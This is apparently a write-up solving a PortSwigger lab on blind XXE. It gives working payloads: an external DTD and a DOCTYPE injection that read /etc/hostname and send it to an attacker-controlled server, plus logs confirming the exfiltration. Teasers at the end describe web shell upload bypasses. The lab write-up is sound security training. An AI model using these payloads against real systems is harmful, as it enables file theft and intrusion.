On this page
Blind XXE: Exfiltrating Data via a Malicious External DTD
Lab
Exploiting blind XXE to exfiltrate data using a malicious external DTD · Practitioner
Solution
Given
This lab has a "Check stock" feature that parses XML input but does not display the result.
To solve the lab, exfiltrate the contents of the /etc/hostname file.
Analysis
As usual — there's a check-stock function, it uses XML and is vulnerable to XXE. However, the result isn't returned in the response, so we need to use an external DTD to grab the contents of /etc/hostname.
What we'll need:
- An exploit server where we'll host the external DTD.
- A payload for the external DTD.
- A payload for the stock-check route.
- An exploit server to receive data from
/etc/hostname.
PortSwigger gave us 1 and 4.
Payload for the external DTD:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
Payload for the route:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
These are draft payloads. During recon we'll wire in the real addresses.
Recon and attack
We find the route — POST /product/stock:
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
OK, let's look at our exploit server. Address for the external DTD:
https://exploit-0a63009c03b4060e804cca5b016d0069.exploit-server.net/exploit.dtd
I think we should set the encoding right away:
Content-Type: text/xml; charset=utf-8
Content will be:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'https://exploit-0a63009c03b4060e804cca5b016d0069.exploit-server.net?x=%file;'>">
%eval;
%exfiltrate;
OK, file is ready. Now the request payload:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a63009c03b4060e804cca5b016d0069.exploit-server.net/exploit.dtd"> %xxe;]>
Mmm, looks like it worked:
10.0.3.6 2026-05-30 07:28:22 +0000 "GET /exploit.dtd HTTP/1.1" 200 "User-Agent: Java/21.0.1"
10.0.3.6 2026-05-30 07:28:22 +0000 "GET /?x=87fc24e05976 HTTP/1.1" 200 "User-Agent: Java/21.0.1"
Hostname — 87fc24e05976. We submit the answer.
Lab solved!
More in this category
Web Shell Upload via Extension Blacklist Bypass (PortSwigger Lab)
.php is blacklisted, but .htaccess uploads without complaint — we slip our own Apache config in and make the server execute shell.bug as PHP.
Web Shell Upload via Obfuscated File Extension (PortSwigger Lab)
Extension blacklist rejects .php and a double-extension shell.php.jpg is served as an image — a null byte in shell.php%00.jpg bypasses both checks.
Remote Code Execution via Web Shell Upload (PortSwigger Lab)
Avatar upload has no validation — drop a PHP web shell and read /home/carlos/secret.